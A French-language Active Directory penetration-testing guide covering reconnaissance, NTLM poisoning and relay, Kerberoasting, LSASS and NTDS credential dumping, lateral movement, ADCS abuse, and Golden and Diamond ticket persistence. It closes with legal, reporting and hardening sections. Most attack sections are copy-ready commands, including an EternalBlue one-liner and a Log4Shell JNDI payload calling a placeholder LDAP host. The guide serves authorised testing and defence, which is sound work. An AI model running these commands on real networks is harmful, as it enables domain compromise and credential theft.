Le pentest Active Directory représente aujourd'hui l'une des missions les plus complexes et les plus demandées en cybersécurité offensive. Active Directory (AD) est le cœur de l'infrastructure d'identité de pratiquement toutes les entreprises utilisant des environnements Windows — il gère les utilisateurs, les ordinateurs, les groupes, les stratégies de groupe et les ressources partagées. Une compromission de l'AD équivaut à la compromission totale de l'organisation : accès à tous les serveurs, toutes les données, tous les services. Ce guide complet vous accompagne étape par étape dans le déroulement d'un pentest Active Directory professionnel en 2026, depuis la reconnaissance initiale jusqu'à la persistance post-exploitation, en couvrant les techniques les plus récentes, les outils incontournables, les vecteurs d'attaque les plus courants (Kerberoasting, NTLM Relay, DCSync, ADCS, délégation Kerberos, ACL abuse) et les bonnes pratiques de documentation. Que vous soyez un consultant en sécurité offensive, un membre d'une équipe Red Team ou un professionnel de la cybersécurité cherchant à comprendre la menace pour mieux se défendre, cette méthodologie structurée vous donnera un cadre complet et actionnable.

Pentest Active Directory — Mindmap complète (Orange Cyberdefense)
Mindmap Pentest Active Directory — méthodologie complète 2026
Mindmap pentest Active Directory — vue d'ensemble des vecteurs d'attaque et de la méthodologie 2026

Qu'est-ce qu'un pentest Active Directory ?

Un pentest Active Directory est une mission d'audit de sécurité offensive dont l'objectif est d'évaluer la résistance d'une infrastructure Microsoft Active Directory face à des attaques réelles. Contrairement à un simple scan de vulnérabilités, un pentest AD simule le comportement d'un attaquant réel — interne ou externe — qui cherche à compromettre le domaine Windows pour atteindre les objectifs définis dans le cahier des charges (accès à certains serveurs, exfiltration de données, compromission du contrôleur de domaine).

Le périmètre d'un pentest AD englobe généralement :

  • Les contrôleurs de domaine (DC) — cibles finales dans la plupart des scénarios
  • Les serveurs membres du domaine — serveurs de fichiers, serveurs Exchange, MSSQL, ADCS
  • Les postes de travail — points d'entrée initiaux fréquents lors d'un accès interne
  • Les comptes de service — souvent sur-privilégiés et vulnérables au Kerberoasting
  • Les relations de confiance inter-domaines — vecteurs d'extension horizontale

Selon le scénario de départ, le pentest AD peut être réalisé :

  • Sans credentials (attaquant externe ayant un accès réseau)
  • Avec un username seulement (credential partiel)
  • Avec credentials valides bas de gamme (utilisateur du domaine)
  • Avec un accès administrateur local sur une machine membre du domaine

Phase 1 : Reconnaissance et scan réseau

La reconnaissance est la phase fondatrice de tout pentest. Elle conditionne la qualité de toutes les phases suivantes. L'objectif est de cartographier l'infrastructure réseau, identifier les hôtes actifs, les services exposés et les contrôleurs de domaine.

Découverte des hôtes actifs

La première étape consiste à dresser la liste des machines actives sur le réseau cible. CrackMapExec (CME) et nmap sont les outils de référence :

# Énumération rapide des hôtes SMB
cme smb <ip_range>

# Ping scan nmap
nmap -sP -p <ip>

# Scan rapide des 50 ports principaux
nmap -PN -sV --top-ports 50 --open <ip>

# Recherche de vulnérabilités SMB
nmap -PN --script smb-vuln* -p139,445 <ip>

# Scan classique avec détection de services et scripts
nmap -PN -sC -sV -oA <output> <ip>

# Scan complet tous ports
nmap -PN -sC -sV -p- -oA <output> <ip>

# Scan UDP
nmap -sU -sC -sV -oA <output> <ip>

Identification du contrôleur de domaine

L'identification du DC est critique. Plusieurs méthodes permettent de le localiser rapidement :

# Via DHCP / configuration réseau (Linux)
nmcli dev show eth0  # affiche le nom de domaine et les DNS

# Via SRV records DNS
nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain>

# Transfert de zone DNS (si mal configuré)
dig axfr <domain_name> @<name_server>

Énumération des sessions null et accès anonymes

Les sessions null SMB et LDAP permettent parfois d'extraire des informations précieuses sans aucun credential. C'est une vulnérabilité souvent présente dans les infrastructures héritées :

# Enum4linux - énumération complète null session
enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>

# SMBmap - liste les partages accessibles
smbmap -u "" -p "" -P 445 -H <dc-ip>
smbmap -u "guest" -p "" -P 445 -H <dc-ip>

# SMBclient
smbclient -U '%' -L //<dc-ip>
smbclient -U 'guest%' -L //<dc-ip>

# CrackMapExec - session null
cme smb <ip> -u '' -p ''
cme smb <ip> -u 'a' -p ''  # accès anonyme

Énumération LDAP

Le service LDAP (port 389) expose souvent une mine d'informations en mode anonyme ou avec un compte de domaine :

# Nmap avec scripts LDAP
nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>

# LDAPsearch basique
ldapsearch -x -h <ip> -s base

Phase 2 : Collecte d'informations — Trouver des utilisateurs

Avant d'attaquer, il faut construire une liste d'utilisateurs valides du domaine. Plusieurs techniques permettent d'obtenir cette liste sans credential :

# Enum4linux
enum4linux -U <dc-ip> | grep 'user:'

# CrackMapExec
cme smb <ip> --users

# Via RPC
net rpc group members 'Domain Users' -W '<domain>' -I '<ip>' -U '%'

# Kerberos user enumeration (via AS-REQ)
nmap -p 88 --script=krb5-enum-users   --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <ip>

L'OSINT complète ces techniques : LinkedIn, GitHub, les emails corporate exposés, les certificats SSL. Des outils comme theHarvester ou hunter.io permettent d'extraire des adresses email professionnelles qui révèlent souvent le format des logins AD (prenom.nom, p.nom, etc.).

Phase 3 : Attaques réseau — Poisoning et Coercition

Cette phase cible les protocoles de résolution de noms de Microsoft, dont les failles permettent de capturer des hachages NTLM ou de forcer des authentifications.

Empoisonnement LLMNR / NBT-NS / MDNS

Les protocoles LLMNR (Link-Local Multicast Name Resolution) et NBT-NS (NetBIOS Name Service) sont utilisés pour résoudre les noms d'hôtes en local quand le DNS échoue. Responder exploite cette faiblesse en se positionnant comme faux serveur de résolution :

# Lancer Responder pour capturer les hachages NTLM
responder -I eth0

# Forcer le downgrade vers LM (vielles infras)
responder -I eth0 --lm

# Désactiver SMB et HTTP si on veut relayer plutôt que capturer
responder -I eth0 --disable-ess --noesmb --nohttp

Dès qu'un utilisateur tente d'accéder à une ressource inexistante (ex: \\FILESERVER-TYPO\), Responder intercepte la requête et répond avec ses propres informations. L'utilisateur envoie alors un challenge/response NTLM que Responder capture.

Empoisonnement IPv6 / mitm6

IPv6 est souvent activé par défaut sur les postes Windows mais non géré par les équipes réseau. mitm6 exploite DHCPv6 pour s'imposer comme DNS préféré :

mitm6 -d <domain>

Coercition d'authentification — PetitPotam et ses variantes

La coercition force un serveur à s'authentifier vers une cible choisie par l'attaquant. PetitPotam (CVE-2022-26925) est l'exemple le plus connu — il utilise l'interface MS-EFSRPC pour forcer un DC à s'authentifier :

# PetitPotam non authentifié
PetitPotam.py -d <domain> <listener_ip> <target_ip>

# Coerce SMB vers listener (pour relay)
# Combiner avec ntlmrelayx pour relayer vers LDAP/LDAPS

D'autres outils de coercition existent : PrinterBug (MS-RPRN), DFSCoerce (MS-DFSNM), ShadowCoerce (MS-FSRVP). La puissance de ces techniques réside dans le fait qu'elles n'ont besoin d'aucune interaction utilisateur : c'est la machine cible elle-même qui s'authentifie vers l'attaquant.

Relais NTLM — NTLM Relay

Le relais NTLM est l'une des attaques les plus puissantes du pentest AD. Plutôt que de cracker les hachages, on les relaie en temps réel vers d'autres services :

# ntlmrelayx - Relayer vers LDAP pour créer un compte administrateur
ntlmrelayx.py -tf targets.txt -smb2support

# Avec socks pour utiliser les sessions
ntlmrelayx.py -tf targets.txt -smb2support -socks

# Relay vers ADCS (ESC8) pour obtenir un certificat
ntlmrelayx.py -t http://<ca_server>/certsrv/certfnsh.asp -smb2support --adcs

# Combiner avec PetitPotam pour relayer le DC
# 1. Lancer ntlmrelayx vers LDAP DC
# 2. Déclencher PetitPotam pour coercer le DC
Points clés à retenir
  • Le NTLM relay fonctionne uniquement si la signature SMB est désactivée sur la cible (signing=false)
  • Combiner Responder + ntlmrelayx : désactiver SMB/HTTP dans Responder pour ne pas bloquer le relay
  • Le relay vers LDAPS nécessite LDAP channel binding désactivé
  • PetitPotam + ntlmrelayx + ADCS = compromission de domaine sans aucun credential

Phase 4 : Attaques avec un nom d'utilisateur valide

Dès qu'on dispose d'un nom d'utilisateur valide (même sans mot de passe), le champ des attaques possibles s'élargit considérablement.

Password Spray — Pulvérisation de mots de passe

Contrairement au brute force classique, le password spray teste un seul mot de passe sur tous les utilisateurs, évitant ainsi le verrouillage de compte. Avant de lancer une attaque, il est impératif de récupérer la politique de mots de passe :

# Récupérer la politique de mots de passe
cme <IP> -u 'user' -p 'password' --pass-pol
enum4linux -u 'username' -p 'password' -P <IP>
Get-ADDefaultDomainPasswordPolicy

# Fine-Grained Password Policy
Get-ADFineGrainedPasswordPolicy -filter *
Get-ADUserResultantPasswordPolicy -Identity <user>

# Spray avec CrackMapExec
cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce  # user=password
cme smb <dc-ip> -u user.txt -p 'Password2024!' --continue-on-success

# SprayHound - spray intelligent avec respect de la politique
sprayhound -U <users.txt> -d <domain> -dc <dcip>

ASREPRoasting

Certains comptes AD ont l'option "Ne pas nécessiter la pré-authentification Kerberos" activée (DONT_REQ_PREAUTH). Pour ces comptes, n'importe qui peut demander un AS-REP chiffré et tenter de le cracker hors ligne :

# Identifier les comptes vulnérables (avec credentials)
Get-DomainUser -PreauthNotRequired -Properties SamAccountName

# Obtenir les hachages AS-REP
python GetNPUsers.py <domain>/ -usersfile <usernames.txt> -format hashcat -outputfile hashes.asrep.txt

# Avec Rubeus
Rubeus.exe asreproast /format:hashcat

# Kerberoasting à l'aveugle (sans pré-auth, en combinant ASREProast)
Rubeus.exe kerberoast /domain:<domain> /dc:<dcip> /nopreauth:<asrep_user> /spns:<users.txt>

# Crackage des hachages
hashcat -m 18200 hashes.asrep.txt rockyou.txt

Fruits à portée de main — Low Hanging Fruit

Avant de plonger dans des attaques complexes, vérifier les vulnérabilités critiques connues qui offrent souvent une compromission immédiate :

# Zerologon (CVE-2020-1472) — ATTENTION : peut corrompre le DC, usage avec précaution
zerologon-scan '<dc_netbios_name>' '<ip>'

# EternalBlue (MS17-010)
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS <ip>; run"

# SYSVOL / GPP — MS14-025 (mots de passe en clair dans les GPO)
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
use scanner/smb/smb_enum_gpp  # Metasploit

# Log4Shell
curl -H 'X-Api-Version: ${jndi:ldap://<ip>:<port>/o=reference}' <target>

Phase 5 : Avec des credentials valides — Énumération approfondie

Avec un compte de domaine même basique, les possibilités d'énumération deviennent immenses. L'outil de référence est BloodHound, qui collecte les relations AD et les visualise sous forme de graphe pour identifier les chemins d'attaque.

Collecte BloodHound

# SharpHound (Windows)
SharpHound.exe -c All --zipfilename results.zip

# BloodHound.py (Linux)
bloodhound-python -d <domain> -u <user> -p <password> -ns <dc-ip> -c All

# Requêtes BloodHound utiles (Cypher)
# Trouver le chemin le plus court vers Domain Admin
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@<DOMAIN>"})) RETURN p

# Utilisateurs avec délégation non contrainte
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name

# ACL vers les DC
MATCH p=(n)-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns]->(d:Domain) RETURN p

Kerberoasting

Le Kerberoasting cible les comptes de service qui ont un SPN (Service Principal Name) défini. Tout utilisateur du domaine peut demander un ticket de service (TGS) pour ces comptes et tenter de cracker le hachage hors ligne :

# Lister les comptes Kerberoastables
GetUserSPNs.py <domain>/<user>:<password> -dc-ip <dc-ip>

# Extraire les hachages TGS
GetUserSPNs.py <domain>/<user>:<password> -dc-ip <dc-ip> -request

# Avec Rubeus
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.kerberoast

# CrackMapExec
cme ldap <dc-ip> -u <user> -p <password> --kerberoasting output.txt

# Crackage
hashcat -m 13100 hashes.kerberoast rockyou.txt --force
Pourquoi le Kerberoasting fonctionne-t-il ?

Le ticket TGS est chiffré avec le hachage NTLM du compte de service. Tout utilisateur du domaine peut légitimement demander ces tickets — c'est une fonctionnalité Kerberos standard. La vulnérabilité vient des mots de passe faibles des comptes de service qui peuvent être crackés hors ligne. Des comptes de service avec des mots de passe anciens (parfois définis il y a 10 ans) ou des mots de passe basés sur le nom du service sont des cibles idéales.

Phase 6 : Avec un accès administrateur sur une machine

L'accès administrateur local sur une seule machine ouvre la porte à une variété d'attaques puissantes : extraction de credentials en mémoire, mouvement latéral et abuse des relations de confiance.

Extraction de credentials depuis LSASS

LSASS (Local Security Authority Subsystem Service) stocke les credentials des utilisateurs connectés en mémoire. Son dump permet de récupérer mots de passe en clair, hachages NTLM et tickets Kerberos :

# Mimikatz (local)
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "exit"

# Procdump + Mimikatz (moins détecté)
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz "privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

# LSASS Protégé (PPL) — bypass avec mimidrivy
mimikatz "!+" "!processprotect /process:lsass.exe /remove" "privilege::debug"   "token::elevate" "sekurlsa::logonpasswords" "!processprotect /process:lsass.exe" "!-"

# PPLdump
PPLdump64.exe lsass.exe lsass.dmp

# Depuis Metasploit
load kiwi
creds_all

# CME + lsassy (à distance)
cme smb <ip_range> -u <user> -p <password> -M lsassy
lsassy -d <domain> -u <user> -p <password> <ip>

Extraction depuis SAM, LSA et DPAPI

# SAM (mots de passe locaux)
cme smb <ip_range> -u <user> -p '<password>' --sam
reg save HKLM\SAM <file>; reg save HKLM\SECURITY <file>; reg save HKLM\SYSTEM <file>
secretsdump.py -system SYSTEM -sam SAM LOCAL

# LSA Secrets (comptes de service, mdp cached)
cme smb <ip_range> -u <user> -p '<password>' --lsa
secretsdump.py -security <security_file> -system <system_file> LOCAL

# DPAPI — secrets Windows (credentials stockés, certificats)
DonPAPI.py <domain>/<user>:<password>@<target>
mimikatz.exe "sekurlsa::dpapi"

# Chrome passwords
SharpChromium.exe
# Dossier : %appdata%\Local\Google\Chrome\User Data\Default

# Recherche de fichiers contenant des mots de passe
findstr /si 'password' *.txt *.xml *.docx
lazagne.exe all

Extraction via les certificats ADCS

Active Directory Certificate Services (ADCS) est souvent oublié lors des audits mais représente un vecteur d'attaque majeur. L'outil masky permet d'extraire les hachages NTLM via l'authentification par certificat :

masky -d <domain> -u <user> -p <password> -ca <certificate_authority> <ip>

Phase 7 : Mouvement latéral

Le mouvement latéral permet de se déplacer d'une machine à une autre au sein du domaine pour élargir l'accès, trouver des machines à plus haut privilège ou atteindre des ressources stratégiques.

Pass the Hash (PtH)

Avec un hachage NTLM, pas besoin du mot de passe en clair pour s'authentifier :

# Psexec
psexec.py -hashes ":<hash>" <user>@<ip>

# Atexec (exécution via Task Scheduler)
atexec.py -hashes ":<hash>" <user>@<ip> "command"

# SMBexec
smbexec.py -hashes ":<hash>" <user>@<ip>

# WMIexec
wmiexec.py -hashes ":<hash>" <user>@<ip>

# CrackMapExec — spray sur tout un réseau
crackmapexec smb <ip_range> -u <user> -d <domain> -H ':<hash>'

# Evil-WinRM
evil-winrm -i <ip> -u <user> -H <hash>

# RDP avec PTH (DisableRestrictedAdmin doit être à 0)
xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip>

Pass the Ticket (PtT) et Kerberos

Le Pass the Ticket utilise des tickets Kerberos (TGT ou TGS) pour s'authentifier sans besoin du mot de passe :

# Overpass the Hash / Pass the Key (PTK)
Rubeus asktgt /user:victim /rc4:<rc4value>
Rubeus ptt /ticket:<ticket>

# Obtenir un TGT via hachage
getTGT.py <domain>/<user> -hashes :<hashes>
export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache

# Utiliser les outils Impacket avec Kerberos
impacket (même commandes PTH mais avec -k et -no-pass)

# Conversion de format ticket
ticketConverter.py <kirbi||ccache> <ccache||kirbi>

# Mimikatz
mimikatz kerberos::ptc "<ticket>"

# Modifier le SPN d'un ticket (pour accéder à d'autres services)
tgssub.py -in <ticket.ccache> -out <newticket.ccache> -altservice "<service>/<target>"

Pass the Certificate

Avec un certificat ADCS (fichier PFX), on peut s'authentifier et récupérer le hachage NTLM du compte :

# Obtenir un hachage NTLM depuis un certificat
certipy auth -pfx <crt_file> -dc-ip <dc_ip>

# PKINIT
gettgtpkinit.py -cert-pfx "<pfx_file>" "<fqdn_domain>/<user>" "<tgt_ccache_file>"

# Rubeus
Rubeus.exe asktgt /user:"<username>" /certificate:"<pfx_file>" /domain:"<fqdn-domain>" /dc:"<dc>" /show

Usurpation de session RDP

# Lister les sessions RDP actives
query user

# Prendre le contrôle d'une session (SYSTEM requis)
psexec -s -i cmd
cmd /k tscon <id> /dest:console

Mouvement latéral via MSSQL

Les serveurs MSSQL mal configurés permettent d'exécuter des commandes système via xp_cmdshell :

# Trouver les accès MSSQL
cme mssql <ip> -u <user> -p <password> -d <domain>

# Activer xp_cmdshell
mssqlclient.py -windows-auth <domain>/<user>:<password>@<ip>
enable_xp_cmdshell
xp_cmdshell whoami

# SQL via trust links — rebondir vers d'autres serveurs SQL
Get-SQLServerLinkCrawl -username <user> -password <pass> -Verbose -Instance <sql_instance>
use exploit/windows/mssql/mssql_linkcrawler  # Metasploit

Phase 8 : Abus des ACLs/ACEs Active Directory

Les Access Control Lists (ACL) et Access Control Entries (ACE) de l'AD définissent qui peut faire quoi sur quels objets. Des permissions mal configurées permettent des prises de contrôle complètes.

Permissions sur les utilisateurs

# GenericAll / GenericWrite sur un utilisateur
# → Changer le mot de passe
net user <user> <password> /domain
net rpc password <user> <password> -S <dc_fqdn>

# → Ajouter un SPN (pour Kerberoaster le compte)
targetedKerberoast.py -d <domain> -u <user> -p <pass>

# ForceChangePassword
aclpwn.py
acltoolkit <domain>/<user>:'<password>@<target> get-objectacl

Permissions sur les groupes

# Self-Membership ou GenericAll sur un groupe → s'ajouter
net group "<group>" <myuser> /add /domain

# WriteOwner → prendre ownership puis modifier
owneredit.py
dacledit.py

Shadow Credentials (nécessite ADCS)

Si on a GenericWrite sur un objet et qu'ADCS est présent, on peut ajouter des Key Credentials à l'objet pour s'authentifier via PKINIT :

# Avec Whisker (Windows)
Whisker.exe add /target:<target_account>

# Avec pywhisker (Linux)
pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "PASSWORD" --target "TARGET_SAMNAME" --action "add"

# Puis certipy pour s'authentifier
certipy shadow auto '-u <user>@<domain>' -p <password> -account '<target_account>'

Resource-Based Constrained Delegation (RBCD)

Si on a GenericWrite sur un ordinateur, on peut configurer le RBCD pour qu'un compte contrôlé puisse s'impersonner en tant que Domain Admin sur cet ordinateur :

# Lire msDs-AllowedToActOnBehalfOfOtherIdentity
# Configurer RBCD pour permettre à notre machine de déléguer
impacket-rbcd -delegate-from '<attacker_machine$>'   -delegate-to '<target_machine$>'   -action 'write' '<domain>/<user>:<pass>'

# Obtenir un ticket impersonné
getST.py -spn 'cifs/<target>' -impersonate 'administrator' '<domain>/<attacker_machine$>:<pass>'

Lecture des mots de passe LAPS

LAPS (Local Administrator Password Solution) stocke les mots de passe administrateurs locaux dans l'AD. Certains utilisateurs/groupes ont le droit de les lire :

# Identifier qui peut lire LAPS (via BloodHound Cypher)
MATCH p=(g:Group)-[:ReadLAPSPassword]->(c:Computer) RETURN p

# Lire les mots de passe LAPS
cme ldap <dc_ip> -d <domain> -u <user> -p <password> --module laps
Get-LAPSPasswords -DomainController <ip_dc> -Credential <domain>\<login> | Format-Table -AutoSize

Phase 9 : Escalade de privilèges vers Domain Admin

Cette phase représente souvent le climax du pentest AD : passer d'un accès limité à Domain Admin ou Enterprise Admin.

Délégation Kerberos non contrainte

Un serveur avec délégation non contrainte stocke les TGT des utilisateurs qui se connectent. Si on compromet ce serveur, on peut extraire ces TGT et les utiliser pour s'authentifier en tant que Domain Admin :

# Trouver les machines avec délégation non contrainte (hors DC)
Get-ADComputer -Filter {TrustedForDelegation -eq $true -and PrimaryGroupID -eq 515}
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name CONTAINS "DC" RETURN c.name

# Extraire les TGT stockés (via Mimikatz ou Rubeus sur la machine)
Rubeus.exe dump /service:krbtgt /nowrap
mimikatz "sekurlsa::tickets /export"

Délégation contrainte Kerberos — S4U2Proxy

# Trouver les comptes avec délégation contrainte configurée
Get-ADUser -Filter {TrustedToAuthForDelegation -eq $true}

# Abuser via getST.py
getST.py -spn '<service>/<target>' -impersonate 'administrator' '<domain>/<delegated_account>:<pass>'

Attaques ADCS — Active Directory Certificate Services

Les erreurs de configuration ADCS offrent de nombreux chemins vers l'escalade de privilèges. Certipy et Certify sont les outils de référence pour auditer et exploiter ces vulnérabilités :

# Audit complet des templates ADCS
certipy find -u <user>@<domain> -p <password> -dc-ip <dc-ip> -vulnerable

# ESC1 — Template permettant l'authentication + SAN modifiable
certipy req -u <user>@<domain> -p <password> -ca <ca> -template <vuln_template>   -upn administrator@<domain>

# ESC8 — NTLM relay vers les web enrollment endpoints ADCS
ntlmrelayx.py -t http://<ca>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Utiliser le certificat obtenu
certipy auth -pfx administrator.pfx -dc-ip <dc-ip>

Abus des GPO

# Trouver les GPO modifiables
MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) RETURN p

# Abuser des permissions GenericWrite sur une GPO
# → Ajouter un immediate scheduled task pour exécuter du code sur les machines membres

Phase 10 : DCSync et dump du NTDS.dit

DCSync est l'attaque finale : simuler le comportement d'un contrôleur de domaine pour répliquer tous les hachages NTLM du domaine. Les comptes Administrators, Domain Admins et Enterprise Admins peuvent effectuer cette opération :

# DCSync avec Mimikatz
mimikatz lsadump::dcsync /domain:<target_domain> /user:<target_domain>\administrator

# DCSync avec secretsdump
secretsdump '<domain>'/'<user>':'<password>'@'<domain_controller>'

# Dump complet du NTDS via CrackMapExec
cme smb <dcip> -u <user> -p <password> -d <domain> --ntds

# Via ntdsutil (si accès interactif au DC)
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
secretsdump.py -ntds ntds_file.dit -system SYSTEM_FILE -hashes lmhash:nthash LOCAL -outputfile ntlm-extract

# Via les Volume Shadow Copies
diskshadow list shadows all
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

# CertSync (alternative moderne)
certsync -u <user> -p <password> -d <domain> -dc-ip <dcip> -ns <nsip>

Phase 11 : Persistance

Une fois Domain Admin obtenu, la phase de persistance garantit l'accès futur même si les credentials sont changés :

Golden Ticket

# Récupérer le hachage NTLM du compte krbtgt via DCSync
mimikatz lsadump::dcsync /domain:<domain> /user:krbtgt

# Créer un Golden Ticket (valide 10 ans par défaut)
mimikatz kerberos::golden /user:administrator /domain:<domain> /sid:<domain_sid>   /krbtgt:<krbtgt_hash> /id:500 /ptt

# Avec Ticketer.py (impacket)
ticketer.py -nthash <krbtgt_hash> -domain-sid <sid> -domain <domain> administrator

Silver Ticket

# Ticket pour un service spécifique — plus discret qu'un Golden Ticket
mimikatz kerberos::golden /user:administrator /domain:<domain> /sid:<sid>   /target:<server> /service:cifs /rc4:<machine_hash> /ptt

Diamond Ticket — Technique moderne (2023+)

# Modifier un TGT existant plutôt que d'en créer un de zéro (moins détectable)
Rubeus.exe diamond /krbkey:<krbtgt_aes256> /user:administrator /domain:<domain>   /dc:<dc> /enctype:aes /ticketuser:administrator /ptt

Phase 12 : Relations de confiance inter-forêts

Lorsqu'une relation de confiance existe entre deux forêts AD, compromettre l'une peut ouvrir l'accès à l'autre. Cette phase est souvent la dernière d'un pentest à grande échelle :

# Identifier les relations de confiance
nltest /domain_trusts
Get-ADTrust -Filter *

# Énumérer les ressources accessibles dans la forêt de confiance
Get-DomainTrust
Get-DomainUser -Domain <trust_domain>

# SID History attack — si la quarantaine SID est désactivée
# Créer un ticket avec un SID d'Enterprise Admin de la forêt cible dans le SID History

Outils essentiels pour le pentest Active Directory

Le pentest AD s'appuie sur un écosystème riche d'outils open-source. Voici les incontournables organisés par phase :

Outil Catégorie Usage principal
BloodHound / SharpHoundÉnumérationCartographie des chemins d'attaque AD
CrackMapExec / NetExecMulti-purposeÉnumération, authentification, exécution de commandes
ImpacketSuite PythonPTH, DCSync, secretsdump, relais
MimikatzCredential dumpingLSASS dump, golden/silver ticket, DCSync
RubeusKerberosKerberoasting, ASREPRoast, PTT, ticket manipulation
ResponderPoisoningCapture hachages NTLM via LLMNR/NBT-NS
ntlmrelayx.pyNTLM RelayRelais vers SMB/LDAP/HTTP/ADCS
CertipyADCSAudit et exploitation des certificats AD
Evil-WinRMAccès distantShell WinRM avec PTH et certificats
PowerView / PowerSploitÉnumérationÉnumération AD, ACL, trust, GPO
PetitPotamCoercitionForcer l'auth d'un DC via MS-EFSRPC
DonPAPIDPAPIExtraction secrets DPAPI à distance
lsassyLSASS dumpDump LSASS à distance via CME

Aspects légaux et cadre contractuel du pentest AD

Un pentest Active Directory sans autorisation écrite préalable est un acte illégal passible de poursuites pénales en France (articles 323-1 à 323-8 du Code pénal). Avant toute mission, le consultant doit disposer :

  • D'une lettre de mission signée par un représentant légal de l'organisation
  • D'un périmètre clairement défini (plages IP, domaines, scénarios autorisés)
  • D'une clause de non-divulgation (NDA) bilatérale
  • D'un point de contact disponible 24/7 en cas d'incident
  • Des règles d'engagement (heures autorisées, techniques interdites)

Certaines techniques comme Zerologon (cve-2020-1472) peuvent corrompre la base de données AD si mal exécutées. La règle d'or : never test a technique you don't understand.

Méthodologie de rapport : documenter les findings

La qualité du rapport est aussi importante que la qualité technique du pentest. Un bon rapport AD inclut :

  • Résumé exécutif — pour la direction, sans jargon technique
  • Scénario d'attaque — le chemin complet de compromission illustré (BloodHound screenshots)
  • Finding par finding — titre, criticité (CVSS), description, preuve (screenshot/log), impact, recommandation
  • Chronologie — timeline de l'attaque
  • Recommandations priorisées — quick wins vs remédiation longue
  • Annexes techniques — dumps, scripts utilisés

La criticité des findings AD suit généralement la taxonomie suivante :

  • Critique : Compromission DC sans credential (NTLM relay + ADCS, Zerologon, EternalBlue)
  • Élevé : Kerberoasting craqué, Pass the Hash sur admin domain, ACL abuse vers DA
  • Moyen : Password spray réussi, ASREPRoasting, LAPS lisible par tous
  • Faible : Sessions null, LDAP anonymous, information disclosure

Mesures de défense et durcissement Active Directory

Comprendre l'attaque permet de mieux construire la défense. Voici les principales contre-mesures pour chaque phase :

  • Anti-LLMNR/NBT-NS : Désactiver via GPO (Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → "Turn off multicast name resolution")
  • Anti-NTLM relay : Activer la signature SMB (RequireSecuritySignature=1), activer LDAP channel binding et LDAP signing
  • Anti-Kerberoasting : Mots de passe longs et aléatoires (>25 chars) pour les comptes de service, utiliser des gMSA (group Managed Service Accounts)
  • Anti-ASREPRoast : Activer la pré-authentification Kerberos pour tous les comptes
  • Anti-Pass the Hash : Activer Windows Defender Credential Guard, Protected Users security group, Remote Credential Guard
  • Anti-DCSync : Auditer les ACEs de réplication sur l'objet domaine (DS-Replication-Get-Changes), utiliser Tier 0 isolation
  • Anti-ADCS : Auditer les templates via Certipy, désactiver les templates vulnérables ESC1-ESC8
  • Anti-Coercition : Patcher CVE-2022-26925, désactiver les services Print Spooler et WebClient sur les DC

FAQ — Questions fréquentes sur le pentest Active Directory

Quelle est la différence entre un pentest AD interne et externe ?

Un pentest AD interne simule un attaquant ayant déjà un accès réseau interne (employé malveillant, attaquant ayant compromis un poste via phishing). Le consultant part de zéro depuis un poste sur le réseau LAN. Un pentest AD externe simule un attaquant depuis Internet — il inclut d'abord une phase de compromission du périmètre (web, VPN, email) avant d'attaquer l'AD.

Combien de temps dure un pentest Active Directory ?

Un pentest AD standard dure généralement entre 5 et 15 jours selon la taille de l'infrastructure. Un audit "boîte grise" (avec credentials fournis) est plus rapide qu'un test "boîte noire". Les grandes infrastructures avec plusieurs domaines et relations de confiance peuvent nécessiter 20+ jours.

Quels sont les indicateurs de compromission (IoC) d'un pentest AD ?

Les équipes SOC peuvent détecter un pentest AD en cours via : les logs d'événements Windows 4769 (demandes TGS anormales — Kerberoasting), 4624/4625 (logons multiples — password spray), 4662 (réplication AD — DCSync), les alertes Responder (LLMNR/NBT-NS responses), les demandes de certificats ADCS anormales (Event ID 4886), et les connexions latérales massives via CME/PSExec.

BloodHound est-il détectable par les EDR ?

SharpHound (collecteur Windows de BloodHound) est détecté par la plupart des EDR modernes. Des alternatives plus discrètes existent : BloodHound.py depuis Linux (moins de bruit côté Windows), LdapDomainDump, ou RustHound (version Rust moins détectée). En pentest réel, les équipes Red Team combinent collecte partielle et techniques LOTL (Living off the Land).

Comment se préparer à un pentest AD ? Quel lab monter ?

Pour pratiquer légalement, plusieurs ressources sont disponibles : GOAD (Game of Active Directory) par Orange Cyberdefense propose un lab AD vulnérable complet déployable sur Proxmox ou VMware. VulnLab, HackTheBox Pro Labs (Offshore, RastaLabs) et CRTO (Certified Red Team Operator) offrent des environnements AD réalistes pour se certifier.

Quelle certification pour le pentest AD ?

Les certifications reconnues pour le pentest AD incluent : CRTO (Certified Red Team Operator) par RastaMouse — focalisée Cobalt Strike et attaques AD modernes, CRTE (Certified Red Team Expert) par AlteredSecurity, OSCP (Offensive Security Certified Professional) — généraliste mais inclut de l'AD, et CRTP (Certified Red Team Professional). Le CRTO est actuellement la certification la plus orientée AD Red Team avec C2 framework.

Conclusion

Le pentest Active Directory est une discipline qui combine méthodologie rigoureuse, maîtrise technique d'un écosystème complexe et capacité d'adaptation face aux défenses en place. Ce guide couvre les phases principales d'une mission type — de la reconnaissance initiale sans credential jusqu'à la compromission complète du domaine via DCSync ou Golden Ticket — mais chaque environnement AD est unique. Les infrastructures bien durcies nécessitent de combiner plusieurs vecteurs d'attaque et de chaîner les techniques : poisoning → NTLM relay → ADCS, ou password spray → Kerberoasting → ACL abuse.

